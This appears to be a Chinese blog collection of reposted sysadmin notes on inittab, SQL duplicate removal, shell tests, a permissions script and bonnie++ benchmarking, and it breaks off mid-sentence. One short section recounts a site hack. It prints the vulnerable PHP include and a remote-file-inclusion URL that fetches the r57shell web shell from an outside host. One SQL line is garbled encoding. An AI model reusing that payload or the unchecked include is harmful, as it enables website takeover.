init进程和inittab文件简要说明(转)

init进程是系统中所有进程的父进程,init进程繁衍出完成通常操作所需的子进程,这些操作包括:设置机器名、检查和安装磁盘及文件系统、启动系统日 志、配置网络接口并启动网络和邮件服务,启动打印服务等。Solaris中init进程的主要任务是按照inittab文件所提供的信息创建进程,由于进 行系统初始化的那些进程都由init创建,所以init进程也称为系统初始化进程。下面具体说明inittab文件的格式。

inittab文件中每一记录都从新的一行开始,每个记录项最多可有512个字符,每一项的格式通常如下:id:rstate:action:process,下面分别解释。

1.id字段是最多4个字符的字符串,用来唯一标志表项。

2.rstate(run state)字段定义该记录项被调用时的运行级别,rstate可以由一个或多个运行级别构成,也可以是空,空则代表运行级别0~6。当请求init改变 运行级别时,那些rstate字段中不包括新运行级别的进程将收到SIGTERM警告信号,并且最后被杀死;只有a、b、c启动的命令外(a、b、c不是 真正的运行级别)

3.action字段告诉init执行的动作,即如何处理process字段指定的进程,action字段允许的值及对应的动作分别为:
1)respawn:如果process字段指定的进程不存在,则启动该进程,init不等待处理结束,而是继续扫描inittab文件中的后续进程,当这样的进程终止时,init会重新启动它,如果这样的进程已存在,则什么也不做。

2)wait:启动process字段指定的进程,并等到处理结束才去处理inittab中的下一记录项。

3)once:启动process字段指定的进程,不等待处理结束就去处理下一记录项。当这样的进程终止时,也不再重新启动它,在进入新的运行级别时,如果这样的进程仍在运行,init也不重新启动它。

4)boot:只有在系统启动时,init才处理这样的记录项,启动相应进程,并不等待处理结束就去处理下一个记录项。当这样的进程终止时,系统也不重启它。

5)bootwait:系统启动后,当第一次从单用户模式进入多用户模式时处理这样的记录项,init启动这样的进程,并且等待它的处理结束,然后再进行下一个记录项的处理,当这样的进程终止时,系统也不重启它。

6)powerfail:当init接到断电的信号(SIGPWR)时,处理指定的进程。

7)powerwait:当init接到断电的信号(SIGPWR)时,处理指定的进程,并且等到处理结束才去检查其他的记录项。

8)off:如果指定的进程正在运行,init就给它发SIGTERM警告信号,在向它发出信号SIGKILL强制其结束之前等待5秒,如果这样的进程不存在,则忽略这一项。

9)ondemand:功能通respawn,不同的是,与具体的运行级别无关,只用于rstate字段是a、b、c的那些记录项。

10)sysinit:指定的进程在访问控制台之前执行,这样的记录项仅用于对某些设备的初始化,目的是为了使init在这样的设备上向用户提问有关运行级别的问题,init需要等待进程运行结束后才继续。

11)initdefault:指定一个默认的运行级别,只有当init一开始被调用时才扫描这一项,如果rstate字段指定了多个运行级别,其中最大 的数字是默认的运行级别,如果rstate字段是空的,init认为字段是0123456,于是进入级别6,这样便陷入了一个循环,如果inittab文 件中没有包含initdefault的记录项,则在系统启动时请求用户为它指定一个初始运行级别

4.Process字段中进程可以是任意的守候进程、可执行脚本或程序。

另外:在任何时候,可以在文件inittab中添加新的记录项,级别Q/q不改变当前的运行级别,重新检查inittab文件,可以通过命令init Q或init q使init进程立即重新读取并处理文件inittab.

MySQL查询及删除重复记录的方法(转)

查询及删除重复记录的方法 (一)

1、查找表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断 select * from people where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)
2、删除表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断,只留有rowid最小的记录 delete from people where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1) and rowid not in (select min(rowid) from people group by peopleId having count(peopleId )>1)
3、查找表中多余的重复记录(多个字段) select * from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
4、删除表中多余的重复记录(多个字段),只留有rowid最小的记录 delete from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)
5、查找表中多余的重复记录(多个字段),不包含rowid最小的记录 select * from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)

(二)

比方说 在A表中存在一个字段“name”, 而且不同记录之间的“name”值有可能会相同, 现在就是需要查询出在该表中的各记录之间,“name”值存在重复的项; Select Name,Count(*) From A Group By Name Having Count(*) > 1
如果还查性别也相同大则如下: Select Name,sex,Count(*) From A Group By Name,sex Having Count(*) > 1

(三)

方法一
declare @max integer,@id integer
declare cur_rows cursor local for select 主字段,count(*) from 表名 group by 主字段 having count(*) >; 1
open cur_rows
fetch cur_rows into @id,@max
while @@fetch_status=0
begin
select @max = @max -1
set rowcount @max
delete from 表名 where 主字段 = @id
fetch cur_rows into @id,@max
end
close cur_rows
set rowcount 0

方法二
有两个意义上的重复记录,一是完全重复的记录,也即所有字段均重复的记录,二是部分关键字段重复的记录,比如Name字段重复,而其他字段不一定重复或都重复可以忽略。
1、对于第一种重复,比较容易解决,使用
select distinct * from tableName
就可以得到无重复记录的结果集。
如果该表需要删除重复的记录(重复记录保留1条),可以按以下方法删除
select distinct * into #Tmp from tableName
drop table tableName
select * into tableName from #Tmp
drop table #Tmp
发生这种重复的原因是表设计不周产生的,增加唯一索引列即可解决。
2、这类重复问题通常要求保留重复记录中的第一条记录,操作方法如下
假设有重复的字段为Name,Address, 蟮玫秸饬礁鲎侄挝ㄒ坏慕峁 ?br>select identity(int,1,1) as autoID, * into #Tmp from tableName
select min(autoID) as autoID into #Tmp2 from #Tmp group by Name,autoID
select * from #Tmp where autoID in(select autoID from #tmp2)
最后一个select即得到了Name,Address不重复的结果集(但多了一个autoID字段,实际写时可以写在select子句中省去此列)

(四) 查询重复

select * from tablename where id in (
select id from tablename
group by id
having count(id) > 1
)

shell中的条件测试

对于测试的对象不同,条件测试分为这么三种,文件测试、字串测试、数值测试。

1.文件测试

文件测试根据文件的属性(是否目录,正规文本,符号链接),文件的权限(是否可读,可写,可执行,有suid位),文件的size( 是否为空) 来测试,大致分为这么三类.

参数          解释
-d       是否目录
-f               是否正规文本
-L               是否符号链接

-r    是否可读            
-w              是否可写
-x               是否可执行
-u               是否有suid 位

-s               是否为空

2.字串测试

字串测试用来做两个字串做对比( 等或者不等), 以及检查某一个字串是否为空

=             字串相等
!=           字串不相等
-z           字串为空
-n          字串不为空

开始感觉似乎上面每组命令有两条命令有点多余, 相等判断为否了就是不等啊,但是因为条件测试不仅仅只是单一的判断字串,可能有其他多个条件组合起来判断,而条件判断又没有 “否” 的命令,因此想着这每组两条一点也不多余。

3.数值测试

数值测试用来比较两个数值的大小。 记住几个字符的含义应该能好理解一些:e/eq (equal 等于), t (than 比较 ), g ( great 大于), l ( less 小于),n ( not )

-eq                   等于
-ne                  不等于
-gt                   大于
-ge                  大于等于
-lt                    小于
-le                   小于等于

规范网站目录的权限脚本

#!/bin/sh
#
#desc:change wwwroot permission
#auther:luohui@forchina.com
#date:2009.01.17

#网站目录
wwwroot=’/var/www/newihompy’

#排除的目录
exclude=("/var/www/newihompy/attachment" "/var/www/newihompy/uc/data" "/var/www/newihompy/theme" "/var/www/newihompy/pet/images" "/var/www/newihompy/data" "/var/www/newihompy/uc_client/data")

#文件所有者
proguser=’root.root’

foreachd(){
    for file in $1/*
    do
            if [ -d $file ]
            then
            isexclude=’0′
            for exfile in ${exclude[*]}
            do
                if [[ $exfile == $file ]]
                then
                    isexclude=’1′
                fi
            done

            if [[ $isexclude == ‘0’ ]]
            then
                echo "chown $proguser $file"
                chown $proguser $file
                echo "chmod 755 $file"
                chmod 755 $file
                foreachd $file
            fi
        else
            echo "chown $proguser $file"
            chown $proguser $file
            echo "chmod 644 $file"
            chmod 644 $file
            fi
    done
}

echo "chown $proguser $wwwroot"
chown $proguser $wwwroot
echo "chmod 755 $wwwroot"
chmod 755 $wwwroot

foreachd $wwwroot

执行完后所以目录为755,文件为644。

shell比较两个字符串是否相等

比较两个字符串是否相等的办法是:
if [ "$test"x = "test"x ]; then
这里的关键有几点:
1 使用单个等号
2 注意到等号两边各有一个空格:这是unix shell的要求
3 注意到"$test"x最后的x,这是特意安排的,因为当$test为空的时候,上面的表达式就变成了x = testx,显然是不相等的。而如果没有这个x,表达式就会报错:[: =: unary operator expected

二元比较操作符,比较变量或者比较数字.注意数字与字符串的区别.
整数比较
-eq    等于,如:if [ "$a" -eq "$b" ]
-ne    不等于,如:if [ "$a" -ne "$b" ]
-gt    大于,如:if [ "$a" -gt "$b" ]
-ge    大于等于,如:if [ "$a" -ge "$b" ]
-lt    小于,如:if [ "$a" -lt "$b" ]
-le    小于等于,如:if [ "$a" -le "$b" ]
   大于(需要双括号),如:(("$a" > "$b"))
>=    大于等于(需要双括号),如:(("$a" >= "$b"))
小数据比较可使用AWK
字符串比较
=    等于,如:if [ "$a" = "$b" ]
==    等于,如:if [ "$a" == "$b" ],与=等价
   注意:==的功能在[[]]和[]中的行为是不同的,如下:
   1 [[ $a == z* ]] # 如果$a以"z"开头(模式匹配)那么将为true
   2 [[ $a == "z*" ]] # 如果$a等于z*(字符匹配),那么结果为true
   3
   4 [ $a == z* ]    # File globbing 和word splitting将会发生
   5 [ "$a" == "z*" ] # 如果$a等于z*(字符匹配),那么结果为true
   一点解释,关于File globbing是一种关于文件的速记法,比如"*.c"就是,再如~也是.
   但是file globbing并不是严格的正则表达式,虽然绝大多数情况下结构比较像.
!=    不等于,如:if [ "$a" != "$b" ]
   这个操作符将在[[]]结构中使用模式匹配.
   大于,在ASCII字母顺序下.如:
   if [[ "$a" > "$b" ]]
   if [ "$a" > "$b" ]
   注意:在[]结构中">"需要被转义.
   具体参考Example 26-11来查看这个操作符应用的例子.
-z    字符串为"null".就是长度为0.
-n    字符串不为"null"
   注意:
   使用-n在[]结构中测试必须要用""把变量引起来.使用一个未被""的字符串来使用! -z
   或者就是未用""引用的字符串本身,放到[]结构中。虽然一般情况下可
   以工作,但这是不安全的.习惯于使用""来测试字符串是一种好习惯.

朋友网站被人黑了,黑的经过

网站是四年前刚学PHP的时候帮朋友弄的,有些参数没有处理好,造成让人挂马。

php内有一段是这样的,目的是动态加载一个静态页

$type.=".htm";
include ($type);

$type是通过url传过来的值,如:
showhtml.php?type=index

因为虚拟主机的是激活的,所以黑客用了这个地址:
/showhtml.php?type=http://evilc0der.com/r57.txt??

而r57.txt其实是一个PHP文件,是一个黑客工具,叫r57shell(http://www.xfocus.net/tools/200508/1075.html)

打开上面的地址显示为:

然后通过upload file就可以替换首页了。

那个家伙还搞了一堆网址,估计都是有漏洞的。在这个页面内:http://www.evilc0der.com/serverlar.html

解决办法到是简单,增加对$type的判断就是了。

磁盘I/O测试工具bonnie++使用

bonnie++(Version: 1.03)的使用方法以及结果的含义。

usage: bonnie++ [-d scratch-dir] [-s size(Mb)[:chunk-size(b)]]

[-n number-to-stat[:max-size[:min-size][:num-directories]]]

[-m machine-name]

[-r ram-size-in-Mb]

[-x number-of-tests] [-u uid-to-use:gid-to-use] [-g gid-to-use]

[-q] [-f] [-b] [-p processes -y]

首先说明一下命令中常用的参数。

-d 生成测试文件的路径

-s 生成测试文件的大小,以M为单位(如果不使用-r参数,则要求文件大小至少是系统物理内存的2倍)

-m 机器名,实际上我们可以认为是本次测试的方案名,可以随便定义。默认是本机的hostname。

-r 内存大小,指定内存大小,这样可以通过-s参数创建r*2大小的文件,通常用于缩短测试时间,但是需要注意这样由于内存的cache可能导致测试结果的不准确

-x 测试的次数

-u 测试文件的属主和组,默认是执行bonnie++的当前用户和当前组

-g 测试文件的组,默认是执行bonnie++的当前用组

-b 在每次写文件时调用fsync()函数,对于测试邮件服务器或者数据库服务器这种通常需要同步操作的情况比较适合,而不使用该参数则比较适合测试copy文件或者编译等操作的效率。

通常我们可以简单地运行如下命令进行磁盘性能测试:

bonnie++ -d /global/oradata –m sun3510

这样将会在指定的目录下(通常我们会指定一个盘阵上卷的挂载点),生成相当于主机物理内存两倍的文件,如果总量大于1G,则生成多个大小为1G的文件。假设主机内存为4G,那么在测试中就会生成8个1G的文件,到测试结束,这些文件会被自动删除。

如果我们的主机内存是4G,但是我们想缩短测试的时间,比如说只写2G的文件,就应该执行下面的命令:

bonnie++ -d /global/oradata –m sun3510 –s 2048 –r 1024

bonnie++的在测试的时候通常会占用大量的IO和CPU,所以请不要在生产环境的业务高峰期进行测试。

下面看一个测试结果,通过这个结果我们解释一下到底bonnie++在测试过程中都作了什么,而每一个输出的结果又表示了什么。

这个测试结果是在一台SunFire V880 + D2阵列上进行的,主机配置是2个UltraSparc-III+ 900MHz的CPU,4G内存,而D2阵列是满配的12块36G SCSI磁盘,划分了两个LUN,我们的测试目的地/global/oradata建立在其中的一个LUN上,使用了8块磁盘,用Veritas Volum Manager作了RAID10,stripe(也就是ncol)设置为4。

bonnie++ -d /global/oradata -s 8192 -m d2new -u oracle

Using uid:1001, gid:101.

Writing with putc()…done

Writing intelligently…done

Rewriting…done

Reading with getc()…done

Reading intelligently…done

start ’em…done…done…done…

Create files in sequential order…done.

Stat files in sequential order…done.

Delete files in sequential order…done.

Create files in random order…done.

Stat files in random order…done.

Delete files in random order…done.

Version 1.03       ——Sequential Output—— –Sequential Input- –Random-

                    -Per Chr- –Block– -Rewrite- -Per Chr- –Block– –Seeks–

Machine        Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP

d2new            8G 18275 62 32832 26 25423 55 27444 94 106842 60 549.9   7

                    ——Sequential Create—— ——–Random Create——–

                    -Create– –Read— -Delete– -Create– –Read— -Delete–

              files /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP

                 16 1723 15 +++++ +++ 5059 40 4821 37 +++++ +++   653   5

依次解读一下,从Writing with putc()开始到Delete files in random order…结束,这是bonnie++作的12项测试,这12项测试依次对应12项结果,而这12项结果又被分为了5大类,分别是Sequential Output(写测试),Sequential Input(读测试),Random Seeks(读写测试),Sequential Create(顺序读写文件测试)和Random Create(随意读写文件测试)。

那么测试步骤和测试结果依次对应的顺序就是:

Writing with putc() -> Sequential Output的Per Chr

Writing intelligently -> Sequential Output的Block

Rewriting -> Sequential Output的Rewrite

Reading with getc() -> Sequential Input的Per Chr

Reading intelligently -> Sequential Input的Block

start ’em -> Random Seeks

Create files in sequential order -> Sequential Create的Create

Stat files in sequential order -> Sequential Create的Read

Delete files in sequential order -> Sequential Create的Delete

Create files in random order -> Random Create的Create

Stat files in random order -> Random Create的Read

Delete files in random order -> Random Create的Delete

每个结果中又包括了2项数值,一个是K字节数或者文件数,另一个是%CP,就是执行这项测试时CPU的平均占用率。

对于输出结果的评价,我们认为在相等CPU的占用率情况下,存取字节数越高表示该存储设备的吞吐量越大,自然性能也就越好。

值得注意的是,在测试RAID的时候,对于多CPU的系统,bonnie++并没有发挥CPU的最大潜力,也就是说bonnie++发出的I/O请求通常不够达到CPU和磁盘的最大压力,这时候显示的吞吐量就不是这个存储设备能够达到的最大值。我们可以在测试的同时通过iostat,mpstat,sar等命令监控系统状况,如果没有明显的I/O等待,通常表示测试软件的压力不够。在bonnie++的主页上也表示对于多CPU多进程的支持将放到2.0版本中去实现。

明白了测试步骤和测试结果之后,我们再来进一步看看每个测试结果都是什么含义。

Sequential Output部分表示写文件的相关信息
Sequential Input部分表示读文件的相关信息
Per Chr表示以字符为单位读写文件
Block表示以block为单位读写文件
Rewrite表示修改并重写已经存在的文件的每一个block
K/sec表示每秒读或写文件的速率,以K为单位
%CP表示在某阶段执行操作时平均消耗的CPU

Sequential Output

1. Per Char

就是Per-Character的含义。使用putc()函数进行循环写入,每次写入的字节很小,基本上可以放入任意一种I-Cache中,这种情况下的CPU消耗在处理putc()代码和分配磁盘文件空间上。

2. Block

使用write(2)函数创建文件。这种情况下的CPU消耗只是在分配磁盘文件空间上。

3. Rewrite

使用read(2)函数读取文件,然后修改再用write(2)函数写回。由于文件的空间已经分配好,所以这种方式可以很有效地测试文件系统缓存和数据传输的速度。

Sequential Input

1. Per Char

使用getc()函数循环 读取文件内容

2. Block

使用read(2)函数循环读取文件内容,有效测试磁盘读取的效率。

Random Seek

默认3个进程作8000次的测试。用read(2)函数读取文件的block,同时有10%的操作是用write(2)函数将block修改以后写回文件中。在这个测试中,如果内存容量大于创建的文件大小,那么将会出现比较高的数值,而这个数值可能并不能准确反映磁盘本身的I/O效率。

Sequential Create和Radom Create

这两大类测试均是用创建,读取,删除大量的小文件来测试磁盘效率。文件名用7位数字和任意个数(0-12)的任意英文字母来组成。在Sequential部分,字母在数字之后,而Random部分则是字母在数字之前。

创建文件的最小值和最大值等参数可以在bonnie++命令行中用-n参数来控制。

评测.

我们通过bonnie++来测试各种磁盘配置,或者测试各种RAID设置下的磁盘效率,可以有助于我们对于各个产品或者各个方案的磁盘吞吐效率有个大体认识。

在测试结果的最后一行是用逗号隔开的一列数字,第一个位置是我们在运行bonnie++时用-m参数指定的机器名,第二个位置是测试时生成的文件大小,后面依次是各类测试的结果。我们将多个测试的最后一行粘贴到Excel中,然后用图表功能生成柱状图,就可以对多项测试有一个极为直观的评测比较。

下面列出了几种评测的结果,以后也会陆续添加更多的评测,同时欢迎大家将自己的评测结果mail给我,我会加入到这篇文章中。我的邮件地址是kamus@itpub.net。

SunFire v480 4*(UltraSparc-III+ 1050MHz) 8GRAM 本地光纤硬盘

>bonnie++ -d . -s 16384 -m report -u oracle:dba

Version 1.03       ——Sequential Output—— –Sequential Input- –Random-

                    -Per Chr- –Block– -Rewrite- -Per Chr- –Block– –Seeks–

Machine        Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP

report          16G 18703 52 28812 17 10800 12 33700 98 68172 32 260.1   2

                    ——Sequential Create—— ——–Random Create——–

                    -Create– –Read— -Delete– -Create– –Read— -Delete–

              files /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP

                 16    99   0 +++++ +++   166   1   101   0 +++++ +++   205   1

report,16G,18703,52,28812,17,10800,12,33700,98,68172,32,260.1,2,16,99,0,+++++,+++,166,1,101,0,+++++,+++,205,1

SunFire v880 2*(UltraSparc-III+ 900MHz) 4GRAM D2阵列(36G*12,RAID10,2 stripe)

>bonnie++ -d /global/oradata -s 8192 -m d2org -u oracle

Version 1.03       ——Sequential Output—— –Sequential Input- –Random-

                    -Per Chr- –Block– -Rewrite- -Per Chr- –Block– –Seeks–

Machine        Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP

d2org            8G 15681 55 26302 23 13877 31 26420 91 88215 49 462.6   5

                    ——Sequential Create—— ——–Random Create——–

                    -Create– –Read— -Delete– -Create– –Read— -Delete–

              files /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP

                 16 1245 10 +++++ +++ 3541 27 2837 21 +++++ +++   385   3

d2org,8G,15681,55,26302,23,13877,31,26420,91,88215,49,462.6,5,16,1245,10,+++++,+++,3541,27,2837,21,+++++,+++,385,3

SunFire v880 2*(UltraSparc-III+ 900MHz) 4GRAM D2阵列(36G*8,RAID10,4 stripe)

>bonnie++ -d /global/oradata -s 8192 -m d2new -u oracle

Version 1.03       ——Sequential Output—— –Sequential Input- –Random-

                    -Per Chr- –Block– -Rewrite- -Per Chr- –Block– –Seeks–

Machine        Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP

d2new            8G 18275 62 32832 26 25423 55 27444 94 106842 60 549.9   7

                    ——Sequential Create—— ——–Random Create——–

                    -Create– –Read— -Delete– -Create– –Read— -Delete–

              files /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP /sec %CP

                 16 1723 15 +++++ +++ 5059 40 4821 37 +++++ +++   653   5

d2new,8G,18275,62,32832,26,25423,55,27444,94,106842,60,549.9,7,16,1723,15,+++++,+++,5059,40,4821,37,+++++,+++,653,5

相关链接

bonnie++主页

http://www.coker.com.au/bonnie++/

对各种操作系统下磁盘I/O测试软件的专题站点

http://www.acnc.com/04_02_01.html

该站中还有各种类型RAID的概念描述,优缺点,